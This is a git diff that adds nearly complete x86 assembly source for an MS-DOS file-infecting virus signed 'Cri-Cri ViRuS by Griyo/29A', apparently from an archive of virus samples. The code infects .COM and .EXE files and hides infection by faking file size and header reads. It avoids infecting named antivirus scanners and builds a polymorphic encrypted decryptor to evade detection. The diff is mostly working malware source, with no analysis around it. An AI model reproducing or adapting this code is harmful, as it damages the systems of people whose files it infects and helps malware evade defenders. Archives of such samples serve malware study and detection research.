+;---------------------------------------------------------------------------- +dos_write: + call pop_all + call push_all +do_disinfect: +;Get sft address in es:di + call get_sft + jc bad_operation +;Check if file is already infected + mov al,byte ptr es:[di+0Dh] + mov ah,1Fh + and al,ah + cmp al,ah + je clear_header +bad_operation: + jmp load_error +clear_header: +;Save and set file open mode (read/write) + mov cx,0002h + xchg cx,word ptr es:[di+02h] + push cx +;Save and set file attribute + xor al,al + xchg al,byte ptr es:[di+04h] + push ax +;Save and set file pointer position + push word ptr es:[di+15h] + push word ptr es:[di+17h] +;Get file true size if write operation + cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) + jne no_size_fix +;Add virus size to file size + add word ptr es:[di+11h],lenvir + adc word ptr es:[di+13h],0000h +no_size_fix: +;Point to old header in file + call seek_end + sub word ptr es:[di+15h],0019h+01h + sbb word ptr es:[di+17h],0000h +;Read old header and encryption key + push cs + pop ds + mov ah,3Fh + mov cx,0019h+01h + mov dx,offset virus_copy + int 03h + jc exit_disin +;Decrypt header + mov cx,0019h + push dx + pop si + mov al,byte ptr cs:[si+19h] +restore_header: + xor byte ptr cs:[si+00h],al + inc si + loop restore_header +;Write old header + call seek_begin + mov dx,offset virus_copy + mov ah,40h + mov cx,0019h-01h + int 03h +;Truncate file + call seek_end + sub word ptr es:[di+15h],lenvir + sbb word ptr es:[di+17h],0000h + xor cx,cx + mov ah,40h + int 03h +exit_disin: +;Restore file pointer position + pop word ptr es:[di+17h] + pop word ptr es:[di+15h] +;Restore file attribute + pop ax + mov byte ptr es:[di+04h],al +;Restore file open mode + pop word ptr es:[di+02h] +;Do not set file date and file time on closing + or byte ptr es:[di+06h],40h +;Clear seconds field + and byte ptr es:[di+0Dh],0E0h +load_error: +;Check if write function + cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) + je not_load +;Close file + mov ah,3Eh + int 03h +not_load: + jmp m21h_exit +;---------------------------------------------------------------------------- +;Get file date/time +;---------------------------------------------------------------------------- +dos_get_time: + call pop_all +;Call function + int 03h + jnc ok_get_time +;Exit if error + call unhook_ints + stc + retf 2 +ok_get_time: + call push_all +;Check if file is already infected + mov al,cl + mov ah,1Fh + and al,ah + cmp al,ah + jne no_get_time + call pop_all + and cl,0E0h + jmp short exit_get_time +no_get_time: + call pop_all +exit_get_time: + call unhook_ints + stc + cmc + retf 2 +;---------------------------------------------------------------------------- +;Set file date/time +;---------------------------------------------------------------------------- +dos_set_time: + call pop_all + call push_all +;Get address of sft entry + call get_sft + jc no_set_time +;Check if file is already infected + mov al,byte ptr es:[di+0Dh] + mov ah,1Fh + and al,ah + cmp al,ah + je ok_set_time +no_set_time: +;Exit if not infected or error + jmp m21h_exit +ok_set_time: +;Perform time change but restore our marker + call pop_all + or cl,1Fh + call push_all + jmp m21h_exit +;---------------------------------------------------------------------------- +;Open file +;---------------------------------------------------------------------------- +dos_open: +;Call dos function + call pop_all + int 03h + jnc do_open +open_fail: + call unhook_ints + stc + retf 2 +do_open: + call push_all +;Get sft for file handle + xchg bx,ax + call get_sft + jc no_changes +;Check if file is infected + mov al,byte ptr es:[di+0Dh] + mov ah,1Fh + and al,ah + cmp al,ah + jne no_changes +;If infected stealth true size + sub word ptr es:[di+11h],lenvir + sbb word ptr es:[di+13h],0000h +no_changes: + call unhook_ints + call pop_all + stc + cmc + retf 2 +;---------------------------------------------------------------------------- +;Read file +;---------------------------------------------------------------------------- +dos_read: +;Restore function entry regs + call pop_all + call push_all +;Duplicate handle + mov ah,45h + int 03h + jc no_read_stealth + xchg bx,ax + push ax +;Close new handle in order to update directory entry + mov ah,3Eh + int 03h + pop bx +;Get address of sft entry + call get_sft + jc no_read_stealth +;Check if file is already infected + mov al,byte ptr es:[di+0Dh] + mov ah,1Fh + and al,ah + cmp al,ah + jne no_read_stealth +;Check and save current offset in file + mov ax,word ptr es:[di+15h] + cmp ax,0019h + jae no_read_stealth + cmp word ptr es:[di+17h],0000h + jne no_read_stealth + mov word ptr cs:[file_offset],ax + call pop_all +;Save address of read buffer + mov word ptr cs:[read_off],dx + mov word ptr cs:[read_seg],ds +;Perform read operation + int 03h + jnc check_read +;Error during file read + call unhook_ints + stc + retf 2 +no_read_stealth: +;Exit if no read stealth + jmp m21h_exit +check_read: + call push_all + call get_sft +;Save offset position + push word ptr es:[di+15h] + push word ptr es:[di+17h] +;Save file size + push word ptr es:[di+11h] + push word ptr es:[di+13h] +;Add virus size to file size + add word ptr es:[di+11h],lenvir + adc word ptr es:[di+13h],0000h +;Point to old header in file + call seek_end + sub word ptr es:[di+15h],0019h+01h + sbb word ptr es:[di+17h],0000h +;Read old header and encryption key + push cs + pop ds + mov ah,3Fh + mov cx,0019h+01h + mov dx,offset virus_copy + int 03h + jc exit_read +;Decrypt header + mov cx,0019h + push dx + pop si + mov al,byte ptr cs:[si+19h] +decrypt_header: + xor byte ptr cs:[si+00h],al + inc si + loop decrypt_header +;Move old header into read buffer + les di,dword ptr cs:[read_ptr] + mov si,offset virus_copy + mov cx,0019h-01h + mov ax,word ptr cs:[file_offset] + add di,ax + add si,ax + sub cx,ax + cld + rep movsb +exit_read: + call get_sft +;Restore file size + pop word ptr es:[di+13h] + pop word ptr es:[di+11h] +;Restore old offset in file + pop word ptr es:[di+17h] + pop word ptr es:[di+15h] +;Restore regs and exit + call unhook_ints + call pop_all + stc + cmc + retf 2 +;---------------------------------------------------------------------------- +;Infect file at execution ds:dx ptr to filename +;---------------------------------------------------------------------------- +dos_exec: +;Open file for read-only + mov ax,3D00h + int 03h + jnc ok_file_open + jmp file_error +ok_file_open: + xchg bx,ax + jmp short from_open +;---------------------------------------------------------------------------- +;Infect file at close +;---------------------------------------------------------------------------- +dos_close: + call pop_all + call push_all +;Duplicate handle + mov ah,45h + int 03h + jc file_error + xchg bx,ax + push ax +;Close new handle in order to update directory entry + mov ah,3Eh + int 03h + pop bx +from_open: +;Get sft address in es:di + call get_sft + jc file_error +;Check device info word + mov ax,word ptr es:[di+05h] +;Check if character device handle + test al,80h + jnz file_error +;Check if remote file handle + test ah,0Fh + jnz file_error +;Check if file is already infected + mov al,byte ptr es:[di+0Dh] + mov ah,1Fh + and al,ah + cmp al,ah + je file_error +;Do not infect files with todays date + mov al,byte ptr es:[di+0Fh] + and al,1Fh + cmp al,byte ptr cs:[today] + je file_error +;Check file name in sft + mov cx,0Bh + mov si,di +name_loop: +;Do not infect files with numbers in their file name + cmp byte ptr es:[si+20h],"0" + jb file_name1 + cmp byte ptr es:[si+20h],"9" + jbe file_error +file_name1: +;Do not infect files witch name contains v's + cmp byte ptr es:[si+20h],"V" + je file_error +;Do not infect files with mo in their name + inc si + loop name_loop +;Get first pair + mov ax,word ptr es:[di+20h] +;Do not infect Thunderbyte antivirus utils + cmp ax,"BT" + je file_error +;Do not infect McAfee's Scan + cmp ax,"CS" + je file_error +;Do not infect F-Prot scanner + cmp ax,"-F" + je file_error +;Do not infect Solomon's Guard + cmp ax,"UG" + jne file_infection +file_error: + jmp m21h_exit +file_infection: +;Save and set file open mode (read/write) + mov cx,0002h + xchg cx,word ptr es:[di+02h] + push cx +;Save and set file attribute + xor al,al + xchg al,byte ptr es:[di+04h] + push ax + test al,04h + jnz system_file +;Save and set file pointer position + push word ptr es:[di+15h] + push word ptr es:[di+17h] + call seek_begin +;Read first 20h bytes + push cs + pop ds + mov ah,3Fh + mov cx,0020h + mov dx,offset file_buffer + int 03h +;Seek to end of file and get file size + call seek_end +;Do not infect too small .exe or .com files + or dx,dx + jnz ok_min_size + cmp ax,lenvir+0410h + jbe exit_inf +ok_min_size: +;Check for .com extension + cmp word ptr es:[di+28h],"OC" + jne no_com + cmp byte ptr es:[di+2Ah],"M" + je inf_com +no_com: +;Check for .exe mark in file header + mov cx,word ptr cs:[file_buffer+00h] +;Add markers M+Z + add cl,ch + cmp cl,"Z"+"M" + jne exit_inf +;Check for .exe extension + cmp word ptr es:[di+28h],"XE" + jne exit_inf + cmp byte ptr es:[di+2Ah],"E" + jne exit_inf + jmp inf_exe +;---------------------------------------------------------------------------- +;Exit from file infection +;---------------------------------------------------------------------------- +exit_inf: +;Restore file pointer position + pop word ptr es:[di+17h] + pop word ptr es:[di+15h] +system_file: +;Restore file attribute + pop ax + mov byte ptr es:[di+04h],al +;Restore file open mode + pop word ptr es:[di+02h] +;Do not set file date/time on closing + or byte ptr es:[di+06h],40h +;Check if close function + cmp byte ptr cs:[dos_function+01h],(3Eh xor 0FFh) + je no_close_file +;Close file + mov ah,3Eh + int 03h +no_close_file: + jmp m21h_exit +;---------------------------------------------------------------------------- +;Infect .COM file +;---------------------------------------------------------------------------- +inf_com: +;Don't infect too big .com files + cmp ax,0FFFFh-(lenvir+10h) + jae exit_inf +;Copy header + call copy_header +;Get file length as entry point + sub ax,03h +;Write a jump to virus into header + mov byte ptr cs:[file_buffer+00h],0E9h + mov word ptr cs:[file_buffer+01h],ax +;Set .com marker + mov byte ptr cs:[prog_type],"C" +;Encrypt and infect + jmp get_control +;---------------------------------------------------------------------------- +;Infect .EXE file +;---------------------------------------------------------------------------- +inf_exe: +;Don't infect Windows programs + cmp word ptr cs:[file_buffer+18h],0040h + jae bad_exe +;Don't infect overlays + cmp word ptr cs:[file_buffer+1Ah],0000h + jne bad_exe +;Check maxmem field + cmp word ptr cs:[file_buffer+0Ch],0FFFFh + jne bad_exe +;Save file size + push ax + push dx +;Page ends on 0200h boundary + mov cx,0200h + div cx + or dx,dx + jz no_round_1 + inc ax +no_round_1: + cmp ax,word ptr cs:[file_buffer+04h] + jne no_fit_size + cmp dx,word ptr cs:[file_buffer+02h] + je header_ok +no_fit_size: + pop dx + pop ax +bad_exe: +;Exit if cant infect .exe + jmp exit_inf +header_ok: + call copy_header + pop dx + pop ax + push ax + push dx + mov cx,10h + div cx + sub ax,word ptr cs:[file_buffer+08h] +;Store new entry point + mov word ptr cs:[file_buffer+14h],dx + mov word ptr cs:[file_buffer+16h],ax +;Store new stack position + add dx,lenvir+0410h + and dx,0FFFEh + inc ax + mov word ptr cs:[file_buffer+0Eh],ax + mov word ptr cs:[file_buffer+10h],dx +;Restore size + pop dx + pop ax +;Add virus size to file size + add ax,lenvir + adc dx,0000h +;Page ends on 0200h boundary + mov cx,0200h + div cx + or dx,dx + jz no_round_2 + inc ax +no_round_2: +;Store new size + mov word ptr cs:[file_buffer+04h],ax + mov word ptr cs:[file_buffer+02h],dx +;Set .exe marker + mov byte ptr cs:[prog_type],"E" +;Encryption an infection continues on next routine +;---------------------------------------------------------------------------- +;Encryption and physical infection +;---------------------------------------------------------------------------- +get_control: + call do_encrypt +;Write virus body to the end of file + mov ah,40h + mov cx,lenvir + mov dx,offset virus_copy + int 03h + jc no_good_write +;Seek to beginning of file + call seek_begin +;Write new header + mov ah,40h + mov cx,0019h-01h + mov dx,offset file_buffer + int 03h +;Mark file as infected + or byte ptr es:[di+0Dh],1Fh +no_good_write: +;Jump to infection end + jmp exit_inf +;---------------------------------------------------------------------------- +;Encrypt virus body with variable key and generate a +;polymorphic decryptor. +;---------------------------------------------------------------------------- +do_encrypt: + call push_all +;Initialize engine + xor ax,ax + mov word ptr cs:[last_subroutine],ax + mov word ptr cs:[decrypt_sub],ax + mov word ptr cs:[last_fill_type],ax + dec ax + mov word ptr cs:[last_step_type],ax + mov byte ptr cs:[last_int_type],al + mov byte ptr cs:[decrypt_pointer],al +;Choose counter and pointer register + call get_rnd + and al,01h + mov byte ptr cs:[address_register],al +;Choose register for decryption instructions + call get_rnd + and al,38h + mov byte ptr cs:[decrypt_register],al +;Chose segment registers for memory operations + call get_seg_reg + mov byte ptr cs:[address_seg_1],al + call get_seg_reg + mov byte ptr cs:[address_seg_2],al +;Fill our buffer with garbage + mov ax,cs + mov ds,ax + mov es,ax + mov di,offset virus_copy + push di + mov cx,decryptor + cld +fill_garbage: + call get_rnd + stosb + loop fill_garbage + pop di +;Now es:di points to the buffer were engine put polymorphic code +choose_type: +;Select the type of filler + mov ax,(end_step_table-step_table)/2 + call rand_in_range +;Avoid same types in a row + cmp ax,word ptr cs:[last_step_type] + je choose_type + mov word ptr cs:[last_step_type],ax + add ax,ax + mov bx,ax + cld + call word ptr cs:[step_table+bx] + cmp byte ptr cs:[decrypt_pointer],05h + jne choose_type +;Generate some garbage + call rnd_garbage +;Generate a jump to virus body + mov al,0E9h + stosb + mov ax,decryptor + mov bx,di + sub bx,offset virus_copy-02h + sub ax,bx + stosw +;Store random crypt value +get_rnd_key: + call get_rnd + or al,al + jz get_rnd_key + xchg bx,ax + mov byte ptr cs:[clave_crypt],bl +;Copy virus body to the working area while encrypt + mov si,offset virus_body + mov di,offset virus_copy+decryptor + mov cx,lenvir-decryptor-01h + cld +load_crypt: + lodsb + xor al,bl + stosb + loop load_crypt +;Store key without encryption + movsb +;Restore all regs and return to infection routine + call pop_all + ret +;----------------------------------------------------------------------------- +;Get a valid opcode for memory operations +;----------------------------------------------------------------------------- +get_seg_reg: + cmp byte ptr cs:[prog_type],"C" + je use_ds_es + mov al,2Eh + ret +use_ds_es: + call get_rnd + and al,18h + cmp al,10h + je get_seg_reg + or al,26h + ret +;----------------------------------------------------------------------------- +;Generate next decryptor instruction +;----------------------------------------------------------------------------- +next_decryptor: +;Next instruction counter + inc byte ptr cs:[decrypt_pointer] +;Check if there is a subroutine witch contains next decryptor instruction + cmp word ptr cs:[decrypt_sub],0000h + je build_now +;If so build a call instruction to that subroutine + call do_call_decryptor + ret +build_now: +;Else get next instruction to build + mov bl,byte ptr cs:[decrypt_pointer] +;Generate decryption instructions just into subroutines + cmp bl,03h + jne entry_from_sub +;No instruction was created so restore old pointer + dec byte ptr cs:[decrypt_pointer] + ret +entry_from_sub: +;Entry point if calling from decryptor subroutine building + xor bh,bh + add bx,bx +;Build instruction + call word ptr cs:[instruction_table+bx] + ret +;----------------------------------------------------------------------------- +;Get delta offset +;----------------------------------------------------------------------------- +inst_get_delta: +;Decode a call to next instruction and pop bp + push di + mov ax,00E8h + stosw + mov ax,5D00h + stosw +;Generate some garbage + call rnd_garbage +;Decode a sub bp + mov ax,0ED81h + stosw +;Store address of label + pop ax + sub ax,offset virus_copy-0103h +no_sub_psp: + stosw + ret +;----------------------------------------------------------------------------- +;Load counter register +;----------------------------------------------------------------------------- +inst_load_counter: + mov al,0BEh + add al,byte ptr cs:[address_register] + stosb +;Store size of encrypted data + mov ax,lenvir-decryptor-01h + stosw + ret +;----------------------------------------------------------------------------- +;Load pointer to encrypted data +;----------------------------------------------------------------------------- +inst_load_pointer: +;Load di as pointer + mov al,0BFh + sub al,byte ptr cs:[address_register] + stosb +;Store offset position of encrypted data + mov ax,offset virus_body + stosw +;Generate garbage in some cases + call rnd_garbage +;Generate add reg,bp + mov ch,byte ptr cs:[address_register] + mov cl,03h + rol ch,cl + mov ax,0FD03h + sub ah,ch + stosw + ret +;----------------------------------------------------------------------------- +;Decrypt one byte from encrypted data +;----------------------------------------------------------------------------- +inst_decrypt_one: +;Decode a mov reg,byte ptr cs:[key][bp] + mov al,byte ptr cs:[address_seg_1] + mov ah,8Ah + stosw + mov al,byte ptr cs:[decrypt_register] + or al,86h + stosb +;Store position of encryption key + mov ax,offset clave_crypt + stosw +;Decode a xor byte ptr cs:[si],reg + mov al,byte ptr cs:[address_seg_2] + mov ah,30h + stosw + mov al,byte ptr cs:[decrypt_register] + or al,05h + sub al,byte ptr cs:[address_register] + stosb + ret +;----------------------------------------------------------------------------- +;Increment pointer to encrypted zone +;----------------------------------------------------------------------------- +inst_inc_pointer: + mov al,47h + sub al,byte ptr cs:[address_register] + stosb + ret +;----------------------------------------------------------------------------- +;Decrement counter and loop +;----------------------------------------------------------------------------- +inst_dec_loop: +;Decode a dec reg instruction + mov al,4Eh + add al,byte ptr cs:[address_register] + stosb +;Decode a jz + mov al,74h + stosb + push di + inc di +;Generate some garbage instructions + call rnd_garbage +;Decode a jmp to loop instruction + mov al,0E9h + stosb + mov ax,word ptr cs:[address_loop] + sub ax,di + dec ax + dec ax + stosw +;Generate some garbage instructions + call rnd_garbage +;Store jz displacement + mov ax,di + pop di + push ax + sub ax,di + dec ax + stosb + pop di + ret +;----------------------------------------------------------------------------- +;Generate some garbage instructions if rnd +;----------------------------------------------------------------------------- +rnd_garbage: + call get_rnd + and al,01h + jz do_rnd_garbage + ret +do_rnd_garbage: + call g_generator + ret +;----------------------------------------------------------------------------- +;Generate a push reg and garbage and pop reg +;----------------------------------------------------------------------------- +do_push_g_pop: +;Build a random push pop + call do_push_pop +;Get pop instruction + dec di + mov al,byte ptr cs:[di+00h] + push ax + call g_generator + pop ax + stosb + ret +;----------------------------------------------------------------------------- +;Generate a subroutine witch contains garbage code. +;----------------------------------------------------------------------------- +do_subroutine: + cmp word ptr cs:[last_subroutine],0000h + je create_routine + ret +create_routine: +;Generate a jump instruction + mov al,0E9h + stosb +;Save address for jump construction + push di +;Save address of subroutine + mov word ptr cs:[last_subroutine],di +;Get subroutine address + inc di + inc di +;Generate some garbage code + call g_generator +;Insert ret instruction + mov al,0C3h + stosb +;Store jump displacement + mov ax,di + pop di + push ax + sub ax,di + dec ax + dec ax + stosw + pop di + ret +;----------------------------------------------------------------------------- +;Generate a subroutine witch contains one decryptor instruction +;----------------------------------------------------------------------------- +sub_decryptor: + cmp word ptr cs:[decrypt_sub],0000h + je ok_subroutine + ret +ok_subroutine: +;Do not generate the loop branch into a subroutine + mov bl,byte ptr cs:[decrypt_pointer] + inc bl + cmp bl,05h + jne no_loop_sub + ret +no_loop_sub: +;Generate a jump instruction + mov al,0E9h + stosb +;Save address for jump construction + push di +;Save address of subroutine + mov word ptr cs:[decrypt_sub],di + inc di + inc di + push bx + call rnd_garbage + pop bx + call entry_from_sub + call rnd_garbage +build_return: +;Insert ret instruction + mov al,0C3h + stosb +;Store jump displacement + mov ax,di + pop di + push ax + sub ax,di + dec ax + dec ax + stosw + pop di + ret +;----------------------------------------------------------------------------- +;Generate a call instruction to a subroutine witch contains +;next decryptor instruction +;----------------------------------------------------------------------------- +do_call_decryptor: + cmp byte ptr cs:[decrypt_pointer],03h + jne no_store_call +;Save position + mov word ptr cs:[address_loop],di +no_store_call: +;Build a call to our subroutine + mov al,0E8h + stosb + mov ax,word ptr cs:[decrypt_sub] + sub ax,di + stosw +;Do not use this subrotine again + mov word ptr cs:[decrypt_sub],0000h + ret +;----------------------------------------------------------------------------- +;Generate a call instruction to a subroutine witch some garbage code +;----------------------------------------------------------------------------- +do_call_garbage: + mov cx,word ptr cs:[last_subroutine] +;Check if there is a subroutine to call + or cx,cx + jnz ok_call +;No, so exit + ret +ok_call: +;Build a call to our garbage subroutine + mov al,0E8h + stosb + mov ax,cx + sub ax,di + stosw +;Do not use this subrotine again + mov word ptr cs:[last_subroutine],0000h + ret +;----------------------------------------------------------------------------- +;Generate a branch followed by some garbage code +;----------------------------------------------------------------------------- +do_branch: +;Generate a random conditional jump instruction + call get_rnd + and al,07h + or al,70h + stosb +;Save address for jump construction + push di +;Get subroutine address + inc di +;Generate some garbage code + call g_generator +;Store jump displacement + mov ax,di + pop di + push ax + sub ax,di + dec ax + stosb + pop di + ret +;----------------------------------------------------------------------------- +;Lay down between 2 and 5 filler opcodes selected from the available +;types +;----------------------------------------------------------------------------- +g_generator: +;Get a random number for fill count + call get_rnd + and ax,03h +;Min 2, max 5 opcodes + inc ax + inc ax +next_fill: + push ax +new_fill: +;Select the type of filler + mov ax,(end_op_table-op_table)/2 + call rand_in_range +;Avoid same types in a row + cmp ax,word ptr cs:[last_fill_type] + je new_fill + mov word ptr cs:[last_fill_type],ax + add ax,ax + mov bx,ax + call word ptr cs:[op_table+bx] + pop ax + dec ax + jnz next_fill + ret +;----------------------------------------------------------------------------- +;Makes an opcode of type mov reg,immediate value +;either 8 or 16 bit value +;but never ax or al or sp,di,si or bp +;----------------------------------------------------------------------------- +move_imm: + call get_rnd +;Get a reggie + and al,0Fh +;Make it a mov reg, + or al,0B0h + test al,00001000b + jz is_8bit_mov +;Make it ax,bx cx or dx + and al,11111011b + mov ah,al + and ah,03h +;Not ax or al + jz move_imm + stosb + call rand_16 + stosw + ret +is_8bit_mov: + mov bh,al +;Is al? + and bh,07h +;Yeah bomb + jz move_imm + stosb + call get_rnd + stosb + ret +;----------------------------------------------------------------------------- +;Now we knock boots with mov reg,reg's +;but never to al or ax. +;----------------------------------------------------------------------------- +move_with_reg: + call rand_16 +;Preserve reggies and 8/16 bit + and ax,0011111100000001b +;Or it with addr mode and make it mov + or ax,1100000010001010b +reg_test: + test al,1 + jz is_8bit_move_with_reg +;Make source and dest = ax,bx,cx,dx + and ah,11011011b +is_8bit_move_with_reg: + mov bl,ah + and bl,00111000b +;No mov ax, 's please + jz move_with_reg +;Let's see if 2 reggies are same reggies. + mov bh,ah + sal bh,1 + sal bh,1 + sal bh,1 + and bh,00111000b +;Check if reg,reg are same + cmp bh,bl + jz move_with_reg + stosw + ret +;----------------------------------------------------------------------------- +;Modify a mov reg,reg into an xchg reg,reg +;----------------------------------------------------------------------------- +reg_exchange: +;Make a mov reg,reg + call move_with_reg +;But then remove it + dec di +;And take advantage of the fact the opcode is still in ax + dec di +;Was a 16 bit type? + test al,1b +;Yeah go for an 8 bitter + jnz reg_exchange + mov bh,ah +;Is one of reggies ax? + and bh,07h +;Yah so bomb + jz reg_exchange +;Else make it xchg ah,dl etc... + mov al,10000110b + stosw + ret +;----------------------------------------------------------------------------- +;We don't have to watch our stack if we pair up pushes with pops +;so I slapped together this peice of shoddy work to add em. +;----------------------------------------------------------------------------- +do_push_pop: + mov ax,(end_bytes_2-bytes_2)/2 + call rand_in_range + add ax,ax + mov bx,ax +;Generate push and pop instruction + mov ax,word ptr cs:[bytes_2+bx] + stosw + ret +;----------------------------------------------------------------------------- +;Generate a random int 21h call. +;----------------------------------------------------------------------------- +do_int_21h: +;Do not generate int 21h calls into boot sectore decryptor + cmp byte ptr cs:[prog_type],"B" + je no_generate_int +;Do not generate int 21h calls into decryption loop + cmp byte ptr cs:[decrypt_pointer],02h + jb no_in_loop +no_generate_int: + ret +no_in_loop: + call get_rnd +;Choose within ah,function or ax,function+subfunction + and al,01h + jz do_int_ax +do_int_ah: + mov ax,end_ah_table-ah_table + call rand_in_range + mov bx,ax + mov ah,byte ptr cs:[ah_table+bx] +;Do not generate same int's in a row + cmp ah,byte ptr cs:[last_int_type] + jz do_int_ah +;Generate mov ah,function + mov byte ptr cs:[last_int_type],ah + mov al,0B4h + stosw +;Generate int 21h + mov ax,021CDh + stosw + ret +do_int_ax: + mov ax,(end_ax_table-ax_table)/2 + call rand_in_range + add ax,ax + mov bx,ax + mov ax,word ptr cs:[ax_table+bx] +;Do not generate same int's in a row + cmp ah,byte ptr cs:[last_int_type] + jz do_int_ax + mov byte ptr cs:[last_int_type],ah +;Generate mov ax,function + mov byte ptr es:[di+00h],0B8h + inc di + stosw +;Generate int 21h + mov ax,021CDh + stosw + ret +;----------------------------------------------------------------------------- +;Simple timer based random numbers but with a twist using xor of last one. +;----------------------------------------------------------------------------- +get_rnd: + in ax,40h + xor ax, 0FFFFh + org $-2 +Randomize dw 0000h + mov [Randomize],ax + ret +;----------------------------------------------------------------------------- +;A small variation to compensate for lack of randomocity in the +;high byte of 16 bit result returned by get_rnd. +;----------------------------------------------------------------------------- +rand_16: + call get_rnd + mov bl,al + call get_rnd + mov ah,bl + ret +;----------------------------------------------------------------------------- +;Generate a random number betwin 0 and ax. +;----------------------------------------------------------------------------- +rand_in_range: +;Returns a random num between 0 and entry ax + push bx + push dx + xchg ax,bx + call get_rnd + xor dx,dx + div bx +;Remainder in dx + xchg ax,dx + pop dx + pop bx + ret +;---------------------------------------------------------------------------- +;Return the al vector in es:bx +;---------------------------------------------------------------------------- +get_int: + push ax + xor ah,ah + rol ax,1 + rol ax,1 + xchg bx,ax + xor ax,ax + mov es,ax + les bx,dword ptr es:[bx+00h] + pop ax + ret +;---------------------------------------------------------------------------- +;Set al interrupt vector to ds:dx pointer +;---------------------------------------------------------------------------- +set_int: + push ax + push bx + push ds + cli + xor ah,ah + rol ax,1 + rol ax,1 + xchg ax,bx + push ds + xor ax,ax + mov ds,ax + mov word ptr ds:[bx+00h],dx + pop word ptr ds:[bx+02h] + sti + pop ds + pop bx + pop ax + ret +;---------------------------------------------------------------------------- +;Print message to screen +;---------------------------------------------------------------------------- +print_credits: +;Set VGA video mode 03h + push bp + mov ax,0003h + int 10h +;Print string + mov ax,1301h + mov bx,0002h + mov cx,003Ah + mov dx,0A0Bh + push cs + pop es + pop bp + add bp,offset text_birthday + int 10h +exit_print: +;Infinite loop + jmp exit_print +;---------------------------------------------------------------------------- +;Get sft address in es:di +;---------------------------------------------------------------------------- +get_sft: +;File handle in bx + push bx +;Get job file table entry to es:di + mov ax,1220h + int 2Fh + jc error_sft +;Exit if handle not opened + xor bx,bx + mov bl,byte ptr es:[di+00h] + cmp bl,0FFh + je error_sft +;Get address of sft entry number bx to es:di + mov ax,1216h + int 2Fh + jc error_sft + pop bx + stc + cmc + ret +;Exit with error +error_sft: + pop bx + stc + ret +;---------------------------------------------------------------------------- +;Seek to end of file +;---------------------------------------------------------------------------- +seek_end: + call get_sft + mov ax,word ptr es:[di+11h] + mov dx,word ptr es:[di+13h] + mov word ptr es:[di+17h],dx + mov word ptr es:[di+15h],ax + ret +;---------------------------------------------------------------------------- +;Seek to beginning +;---------------------------------------------------------------------------- +seek_begin: + call get_sft + xor ax,ax + mov word ptr es:[di+17h],ax + mov word ptr es:[di+15h],ax + ret +;---------------------------------------------------------------------------- +;Virus CRITICAL ERROR interrupt handler +;---------------------------------------------------------------------------- +my_int24h: + sti + ;Return error in function + mov al,3 + iret +;---------------------------------------------------------------------------- +;Save all registers in the stack +;---------------------------------------------------------------------------- +push_all: + cli + pop cs:[ret_off] + pushf + push ax + push bx + push cx + push dx + push bp + push si + push di + push es + push ds + push cs:[ret_off] + sti + ret +;---------------------------------------------------------------------------- +;Restore all registers from the stack +;---------------------------------------------------------------------------- +pop_all: + cli + pop cs:[ret_off] + pop ds + pop es + pop di + pop si + pop bp + pop dx + pop cx + pop bx + pop ax + popf + push cs:[ret_off] + sti + ret +;---------------------------------------------------------------------------- +;Clear some registers before returning to host +;---------------------------------------------------------------------------- +zero_all: + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + xor di,di + xor si,si + xor bp,bp + ret +;---------------------------------------------------------------------------- +;Unhook int 03h and int 24h and clear dos infection switch +;---------------------------------------------------------------------------- +unhook_ints: + push ds + push dx + push ax + mov byte ptr cs:[running_sw],"R" + lds dx,dword ptr cs:[old03h] + mov al,03h + call set_int + lds dx,dword ptr cs:[old24h] + mov al,24h + call set_int + pop ax + pop dx + pop ds + ret +;---------------------------------------------------------------------------- +;Get position of code inserted into boot sector +;---------------------------------------------------------------------------- +get_position: + mov ah,0 + mov al,byte ptr es:[bx+01h] + inc ax + inc ax + mov di,bx + add di,ax + ret +;---------------------------------------------------------------------------- +;Make a copy of file header +;---------------------------------------------------------------------------- +copy_header: +;Copy header to buffer + call push_all + push cs + pop es + mov si,offset file_buffer + mov di,offset old_header + mov cx,0019h + cld + rep movsb + call pop_all + ret +;---------------------------------------------------------------------------- +;Polymorphic generator data buffer +;---------------------------------------------------------------------------- +ah_table: +;This table contains the int 21h garbage functions + db 00Bh ;Read entry state + db 019h ;Get current drive + db 02Ah ;Get current date + db 02Ch ;Get current time + db 030h ;Get dos version number + db 062h ;Get psp address +end_ah_table: +ax_table: + dw 3300h ;Get break-flag + dw 3700h ;Get line-command separator + dw 5800h ;Get mem concept + dw 5802h ;Get umb insert + dw 6501h ;Get code-page +end_ax_table: +;Push and pop pairs +bytes_2: + push ax + pop dx + push ax + pop bx + push ax + pop cx + push bx + pop dx + push bx + pop cx + push cx + pop bx + push cx + pop dx +end_bytes_2: +;Steps table +step_table: + dw offset do_subroutine + dw offset do_call_garbage + dw offset g_generator + dw offset do_branch + dw offset sub_decryptor + dw offset next_decryptor + dw offset do_push_g_pop +end_step_table: +instruction_table: + dw offset inst_get_delta + dw offset inst_load_counter + dw offset inst_load_pointer + dw offset inst_decrypt_one + dw offset inst_inc_pointer + dw offset inst_dec_loop +end_inst_table: +;Address of every op-code generator +op_table: + dw offset move_with_reg + dw offset move_imm + dw offset reg_exchange + dw offset do_push_pop + dw do_int_21h +end_op_table: +;Misc data +last_fill_type dw 0 +last_int_type db 0 +last_step_type dw 0000h +last_subroutine dw 0000h +decrypt_sub dw 0000h +address_loop dw 0000h +decrypt_pointer db 00h +address_register db 00h +decrypt_register db 00h +address_seg_1 db 00h +address_seg_2 db 00h +;---------------------------------------------------------------------------- +;Virus data buffer +;---------------------------------------------------------------------------- +old21h equ this dword +old21h_off dw 0000h +old21h_seg dw 0000h +org21h equ this dword +org21h_off dw 0000h +org21h_seg dw 0000h +old13h equ this dword +old13h_off dw 0000h +old13h_seg dw 0000h +old24h equ this dword +old24h_off dw 0000h +old24h_seg dw 0000h +old03h equ this dword +old03h_off dw 0000h +old03h_seg dw 0000h +read_ptr equ this dword +read_off dw 0000h +read_seg dw 0000h +dos_flag db 00h +prog_type db "C" +running_sw db "R" +stealth_sw db 00h +dos_function dw 0000h +ret_off dw 0000h +today db 00h +file_offset dw 0000h +;---------------------------------------------------------------------------- +text_birthday db "Cri-Cri ViRuS by Griyo/29A" + db " ...Tried, tested, not approved." +;---------------------------------------------------------------------------- +file_buffer db 19h dup (00h) +old_header db 19h dup (00h) +clave_crypt db 00h +;---------------------------------------------------------------------------- +;Buffer for working area +virus_copy db 00h +;---------------------------------------------------------------------------- +com ends + end virus_entry diff --git a/MSDOS/Virus.MSDOS.Unknown.crimeiib.asm b/MSDOS/Virus.MSDOS.Unknown.crimeiib.asm new file mode 100644 index 00000000..de838fbe --- /dev/null +++ 